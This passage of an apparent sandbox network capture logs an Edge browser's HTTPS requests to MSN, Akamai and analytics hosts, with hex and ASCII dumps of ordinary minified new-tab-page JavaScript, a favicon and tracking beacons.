24 2e 41 76 7d 20 31 30 70 78 2c 24 7b 42 2e 73 7d 20 35 30 70 78 29 7d 60 2c 6e Data Ascii: adius:0 var(--search-box-radius) var(--search-box-radius) 0;background:transparent}.bing-upsell-container{right:unset;left:-54px}.search-btn-on-right.core:not(.core-search-kumo).not(mobile){background:linear-gradient(to right,${$.Av} 10px,${B.s} 50px)}`,n
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3a 66 6f 63 75 73 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 24 7b 4c 2e 43 7d 7d 60 2c 63 65 3d 4e 2e 69 60 0a 24 7b 64 65 7d 0a 60 2e 77 69 74 68 42 65 68 61 76 69 6f 72 73 28 28 30 2c 7a 2e 55 75 29 28 4e 2e 69 60 20 2e 63 6f 72 65 20 23 71 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 2d 64 6b 29 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 63 63 63 7d 2e 63 6f 72 65 20 23 71 2e 68 69 67 68 6c 69 67 68 74 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 2d 64 6b 29 3a 66 6f 63 75 73 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 24 7b 4c 2e 43 7d 7d 60 29 29 2c 6c 65 3d 4e 2e 69 60 20 66 6f 72 6d 3a 6e 6f 74 28 2e 61 75 74 6f 73 75 67 67 65 73 74 53 68 6f 77 6e 29 20 2e 63 6f 72 65 3a 68 6f Data Ascii: 00004000:focus::placeholder{color:${L.C}}`,ce=N.i`${de}`.withBehaviors((0,z.Uu)(N.i` .core #q:not(.disable-dk)::placeholder{color:#ccc}.core #q.highlight:not(.disable-dk):focus::placeholder{color:${L.C}}`)),le=N.i` form:not(.autosuggestShown) .core:ho
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 2e 77 28 22 65 6e 61 62 6c 65 0d 0a Data Ascii: .w("enable
2025-01-08 15:18:48 UTC	3951	IN	Data Raw: 30 30 30 30 30 46 36 33 0d 0a 44 65 65 70 53 65 61 72 63 68 22 2c 21 30 2c 43 65 29 2c 6e 65 77 20 48 2e 77 28 22 65 6e 61 62 6c 65 48 69 67 68 6c 69 67 68 74 54 72 65 6e 64 69 6e 67 51 75 65 72 79 22 2c 21 30 2c 63 65 29 2c 6e 65 77 20 48 2e 77 28 22 65 6e 61 62 6c 65 43 6f 6e 64 69 74 69 6f 6e 61 6c 53 63 68 42 74 6e 22 2c 21 30 2c 79 65 29 2c 6e 65 77 20 48 2e 77 28 22 62 72 69 67 68 74 53 65 61 72 63 68 49 6e 44 61 72 6b 4d 6f 64 65 22 2c 31 2c 77 65 29 2c 6e 65 77 20 48 2e 77 28 22 62 72 69 67 68 74 53 65 61 72 63 68 49 6e 44 61 72 6b 4d 6f 64 65 22 2c 32 2c 53 65 29 2c 6e 65 77 20 48 2e 77 28 22 65 6e 61 62 6c 65 42 69 6e 67 41 53 42 47 43 6f 6c 6f 72 43 6f 76 65 72 46 69 78 22 2c 21 30 2c 5f 65 29 2c 6e 65 77 20 48 2e 77 28 22 68 6f 76 65 72 42 67 Data Ascii: 00000F63DeepSearch",!0,Ce),new H.w("enableHighlightTrendingQuery",!0,ce),new H.w("enableConditionalSchBtn",!0,ye),new H.w("brightSearchInDarkMode",1,we),new H.w("brightSearchInDarkMode",2,Se),new H.w("enableBingASBGColorCoverFix",!0,_e),new H.w("hoverBg
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 43 61 6c 6c 62 61 63 6b 3a 65 2e 76 6f 69 63 65 53 65 61 72 63 68 43 61 6e 63 65 6c 43 61 6c 6c 62 61 63 6b 2c 76 6f 69 63 65 53 65 61 72 63 68 53 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 3a 65 2e 76 6f 69 63 65 53 65 61 72 63 68 53 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 2c 6f 70 65 6e 44 69 61 6c 6f 67 3a 65 2e 6f 70 65 6e 56 6f 69 63 65 53 65 61 72 63 68 44 69 61 6c 6f 67 7d 7d 29 7d 7d 20 60 2c 4a 65 3d 6b 65 2e 64 79 60 20 24 7b 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 65 2e 6f 70 74 69 6f 6e 73 26 26 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 6f 70 74 69 6f 6e 73 2e 63 68 69 6c 64 45 78 70 65 72 69 65 6e 63 65 52 65 66 65 72 65 6e 63 65 73 57 43 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 49 Data Ascii: 00004000Callback:e.voiceSearchCancelCallback,voiceSearchSubmitCallback:e.voiceSearchSubmitCallback,openDialog:e.openVoiceSearchDialog}})}} `,Je=ke.dy` ${e=>{var t;return e.options&&(null===(t=e.options.childExperienceReferencesWC)\|\|void 0===t?void 0:t.I
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 0d 0a Data Ascii: unction(e,
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 31 38 30 30 30 0d 0a 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4f 6a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 78 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 33 33 39 34 30 29 2c 69 3d 6e 28 37 34 37 36 29 2c 61 3d 6e 28 35 34 38 30 29 2c 72 3d 6e 28 34 32 35 39 30 29 2c 73 3d 6e 28 36 39 34 32 35 29 3b 6c 65 74 20 64 3d 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 61 2e 46 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 2e 2e 2e 61 72 67 75 6d 65 6e 74 73 29 2c 74 68 69 73 2e 70 72 69 76 61 63 79 55 72 6c 3d 22 22 2c 74 68 69 73 2e 69 64 3d 22 22 2c 74 68 69 73 2e 61 64 4c 61 62 65 6c 54 65 78 74 3d 22 41 64 22 2c 74 68 69 73 2e 6e 61 74 69 76 65 41 64 41 64 4c 61 62 65 6c 54 65 78 74 3d 22 22 Data Ascii: 00018000t,n){"use strict";n.d(t,{Oj:function(){return x}});var o=n(33940),i=n(7476),a=n(5480),r=n(42590),s=n(69425);let d=class extends a.F{constructor(){super(...arguments),this.privacyUrl="",this.id="",this.adLabelText="Ad",this.nativeAdAdLabelText=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.11.20	52336	23.33.85.196	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:48 UTC	615	OUT	GET /bundles/v1/edgeChromium/latest/common.2ac491e0cd85a6452d09.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:48 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: abuj40KSZRRGmt8CGEM5RQ== Last-Modified: Tue, 07 Jan 2025 23:46:59 GMT ETag: 0x8DD2F7593F02E58 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 21a029f3-501e-00e3-065e-619092000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Wed, 08 Jan 2025 15:18:48 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.45.126.198,b=3479451222,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=119, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.45.126.198 Akamai-Request-ID: cf643656 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.c67e2d17.1736349528.cf643656 Vary: Origin
2025-01-08 15:18:48 UTC	15137	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 2c 22 6d 73 6e 65 77 73 2f 70 75 62 6c 69 73 68 65 72 73 2d 73 65 72 76 69 63 65 2d 63 6c 69 65 6e 74 22 5d 2c 7b 38 35 32 38 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 24 36 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 7d 2c 24 57 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 2c 42 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 2c 42 64 3a 66 75 6e 63 74 69 6f Data Ascii: 0000C000(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["common","msnews/publishers-service-client"],{85289:function(e,t,n){"use strict";n.d(t,{$6:function(){return C},$W:function(){return A},BA:function(){return l},Bd:functio
2025-01-08 15:18:48 UTC	16302	IN	Data Raw: 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 2e 64 61 74 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 5b 74 68 69 73 2e 69 6d 61 67 65 49 64 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 61 74 74 72 69 62 75 74 69 6f 6e 2c 69 73 44 69 73 70 6c 61 79 65 64 3a 21 30 2c 74 69 74 6c 65 3a 6e 75 6c 6c 2c 74 69 74 6c 65 55 52 4c 3a 6e 75 6c 6c 7d 29 7d 67 65 74 4c 6f 63 54 69 74 6c 65 4b 65 79 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 6d 61 67 65 49 64 3c 3d 74 68 69 73 2e 63 6d 73 53 69 7a 65 3f 60 69 6d 61 67 65 24 7b 74 68 69 73 2e 69 6d 61 67 65 49 64 7d 60 3a 60 73 69 6d 70 6c 65 24 7b 74 68 69 73 2e 69 6d 61 67 65 49 Data Ascii: t=this.config)\|\|void 0===t\|\|null===(t=t.data)\|\|void 0===t\|\|null===(t=t[this.imageId])\|\|void 0===t?void 0:t.attribution,isDisplayed:!0,title:null,titleURL:null})}getLocTitleKey(){return this.imageId<=this.cmsSize?`image${this.imageId}`:`simple${this.imageI
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 69 6e 67 26 26 28 74 68 69 73 2e 64 69 73 70 6c 61 79 4d 61 72 71 75 65 65 41 64 3d 21 31 2c 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 44 61 74 61 43 6f 6e 6e 65 63 74 6f 72 2e 6d 61 72 71 75 65 41 64 44 69 73 70 6c 61 79 53 74 61 74 75 73 55 70 64 61 74 65 64 28 21 31 29 29 2c 74 68 69 73 2e 64 69 73 70 6c 61 79 4d 61 72 71 75 65 65 41 64 29 7b 65 2e 63 75 72 72 65 6e 74 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 54 79 70 65 21 3d 3d 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 53 74 61 74 65 2e 63 75 72 72 65 6e 74 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 54 79 70 65 26 26 22 69 6d 61 67 65 41 6e 64 56 69 64 65 6f 22 21 3d 3d 65 2e 63 75 72 72 65 6e 74 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 54 79 70 65 26 26 Data Ascii: ing&&(this.displayMarqueeAd=!1,this.backgroundDataConnector.marqueAdDisplayStatusUpdated(!1)),this.displayMarqueeAd){e.currentBackgroundImageType!==this.chromiumPageSettingsState.currentBackgroundImageType&&"imageAndVideo"!==e.currentBackgroundImageType&&
2025-01-08 15:18:48 UTC	1341	IN	Data Raw: 65 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6d 75 73 65 75 6d 43 61 72 64 5f 68 69 64 65 22 29 2c 74 68 69 73 2e 73 68 6f 75 6c 64 55 70 64 61 74 65 4d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 56 69 73 69 62 69 6c 69 74 79 3d 21 31 29 29 2c 22 56 69 64 65 6f 22 3d 3d 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 26 26 28 65 3f 74 68 69 73 2e 76 69 64 65 6f 50 72 6f 76 69 64 65 72 2e 70 6c 61 79 56 69 64 65 6f 28 22 53 63 72 6f 6c 6c 22 29 3a 74 68 69 73 2e 76 69 64 65 6f 50 72 6f 76 69 64 65 72 2e 70 61 75 73 65 56 69 64 65 6f 28 22 53 63 72 6f 6c 6c 22 29 29 7d 29 2c 33 35 30 29 2c 74 68 69 73 2e 6f 6e 57 69 6e 64 6f 77 42 6c 75 72 3d 28 29 3d 3e 7b 74 68 69 73 2e 76 69 64 65 6f 50 72 6f 76 69 64 65 72 2e Data Ascii: er.classList.add("museumCard_hide"),this.shouldUpdateMarqueeAdDismissButtonVisibility=!1)),"Video"===this.currentProvider&&(e?this.videoProvider.playVideo("Scroll"):this.videoProvider.pauseVideo("Scroll"))}),350),this.onWindowBlur=()=>{this.videoProvider.
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 6e 65 43 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 41 6e 64 53 79 6e 63 28 29 2c 22 43 4d 53 49 6d 61 67 65 22 3d 3d 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 26 26 74 68 69 73 2e 75 70 64 61 74 65 50 72 6f 70 65 72 74 69 65 73 28 29 7d 2c 74 68 69 73 2e 6f 6e 47 61 6c 6c 65 72 79 41 70 70 6c 69 65 64 3d 28 29 3d 3e 7b 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 53 6f 75 72 63 65 43 68 61 6e 67 65 64 3d 21 30 2c 74 68 69 73 2e 64 65 66 69 6e 65 43 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 28 29 7d 2c 74 68 69 73 2e 73 74 61 74 65 73 53 79 6e 63 49 6e 69 74 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 5b 5d 3b 5b 22 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 45 6e 61 62 6c 65 64 Data Ascii: 00004000ineCurrentProviderAndSync(),"CMSImage"===this.currentProvider&&this.updateProperties()},this.onGalleryApplied=()=>{this.backgroundSourceChanged=!0,this.defineCurrentProvider()},this.statesSyncInit=()=>{const e=[];["backgroundGalleryButtonEnabled
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 6e 3d 76 6f 69 64 20 30 3d 3d 0d 0a Data Ascii: n=void 0==
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 65 3b 6c 65 74 20 74 3d 21 31 3b 63 6f 6e 73 74 20 69 3d 55 2e 70 2e 67 65 74 50 72 65 66 65 72 65 6e 63 65 42 79 4b 65 79 46 72 6f 6d 46 72 6f 6d 50 72 65 66 65 72 65 6e 63 65 73 43 61 63 68 65 28 44 2e 77 49 2e 62 61 63 6b 67 72 6f 75 6e 64 53 65 6c 65 63 74 69 6f 6e 4d 65 74 61 64 61 74 61 29 3b 69 26 26 69 2e 63 6f 6e 66 69 67 49 6e 64 65 78 26 26 28 74 3d 22 43 4d 53 49 6d 61 67 65 22 3d 3d 3d 69 2e 70 72 6f 76 69 64 65 72 7c 7c 22 56 69 64 65 6f 22 3d 3d 3d 69 2e 70 72 6f 76 69 64 65 72 29 2c 6e 26 26 21 74 26 26 28 74 68 69 73 2e 73 73 72 42 61 63 6b 67 72 6f 75 6e 64 4d 65 74 61 64 61 74 61 3d 7b 2e 2e 2e 74 68 69 73 2e 73 73 72 42 61 63 6b 67 72 6f 75 6e 64 4d 65 74 61 64 61 74 61 2c 64 61 72 6b 3a 74 68 69 73 2e Data Ascii: 00004000=e;let t=!1;const i=U.p.getPreferenceByKeyFromFromPreferencesCache(D.wI.backgroundSelectionMetadata);i&&i.configIndex&&(t="CMSImage"===i.provider\|\|"Video"===i.provider),n&&!t&&(this.ssrBackgroundMetadata={...this.ssrBackgroundMetadata,dark:this.
2025-01-08 15:18:48 UTC	12	IN	Data Raw: 6f 61 74 3a 72 69 67 68 74 7d 0d 0a Data Ascii: oat:right}
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 30 30 30 31 38 30 30 30 0d 0a 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 32 70 78 7d 2e 6d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 6c 65 66 74 3a 69 6e 69 74 69 61 6c 3b 72 69 67 68 74 3a 31 32 70 78 7d 2e 63 6f 70 79 72 69 67 68 74 43 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 32 70 78 7d 2e 6d 75 73 65 75 6d 43 61 72 64 7b 6c 65 66 74 3a 69 6e 69 74 69 61 6c 3b 72 69 67 68 74 3a 31 32 70 78 7d 2e 73 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 60 2c 58 65 3d 47 65 2e 69 60 20 2e 62 61 63 6b Data Ascii: 00018000.backgroundGalleryButtonContainer{padding-left:12px}.marqueeAdDismissButtonContainer{left:initial;right:12px}.copyrightContainer{padding-left:12px}.museumCard{left:initial;right:12px}.secondaryButton{float:right;margin-right:8px}`,Xe=Ge.i` .back
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 65 4c 61 79 6f 75 74 3d 21 31 2c 74 68 69 73 2e 69 73 52 75 62 79 3d 49 2e 46 2e 69 73 52 75 62 79 2c 74 68 69 73 2e 69 73 44 65 66 61 75 6c 74 53 65 61 72 63 68 42 69 6e 67 3d 22 30 22 21 3d 3d 28 30 2c 75 2e 4c 29 28 29 2e 67 65 74 28 22 64 73 70 22 29 2c 74 68 69 73 2e 63 6f 64 65 78 42 69 6e 67 43 68 61 74 54 65 6c 65 6d 65 74 72 79 54 61 67 73 3d 22 22 2c 74 68 69 73 2e 65 6e 61 62 6c 65 43 6f 64 65 78 42 69 6e 67 49 63 6f 6e 53 74 79 6c 65 73 3d 21 31 2c 74 68 69 73 2e 65 6e 61 62 6c 65 43 6f 6e 74 65 78 74 75 61 6c 53 75 67 67 65 73 74 3d 21 31 2c 74 68 69 73 2e 65 6e 61 62 6c 65 53 65 61 72 63 68 42 74 6e 4f 70 65 6e 49 6e 4e 65 77 54 61 62 3d 21 31 2c 74 68 69 73 2e 65 6e 61 62 6c 65 54 72 65 6e 64 69 6e 67 53 65 61 72 63 68 41 50 49 43 61 6c 6c Data Ascii: eLayout=!1,this.isRuby=I.F.isRuby,this.isDefaultSearchBing="0"!==(0,u.L)().get("dsp"),this.codexBingChatTelemetryTags="",this.enableCodexBingIconStyles=!1,this.enableContextualSuggest=!1,this.enableSearchBtnOpenInNewTab=!1,this.enableTrendingSearchAPICall

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.11.20	63894	23.33.85.196	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:49 UTC	740	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
2025-01-08 15:18:49 UTC	1012	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Wed, 08 Jan 2025 15:18:49 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.45.126.198,b=3479451786,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=119, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.45.126.198 Akamai-Request-ID: cf64388a Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.c67e2d17.1736349529.cf64388a Vary: Origin
2025-01-08 15:18:49 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.11.20	62485	20.125.209.212	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	1152	OUT	GET /c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
2025-01-08 15:18:50 UTC	1096	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=99DEB9607E1443D08D3647A5D960D828&RedC=c.msn.com&MXFR=37FD034F4FC568D43F2E16214E436968 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=37FD034F4FC568D43F2E16214E436968; domain=.msn.com; expires=Mon, 02-Feb-2026 15:18:50 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 08 Jan 2025 15:18:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.11.20	51978	108.159.227.121	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	920	OUT	GET /b?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
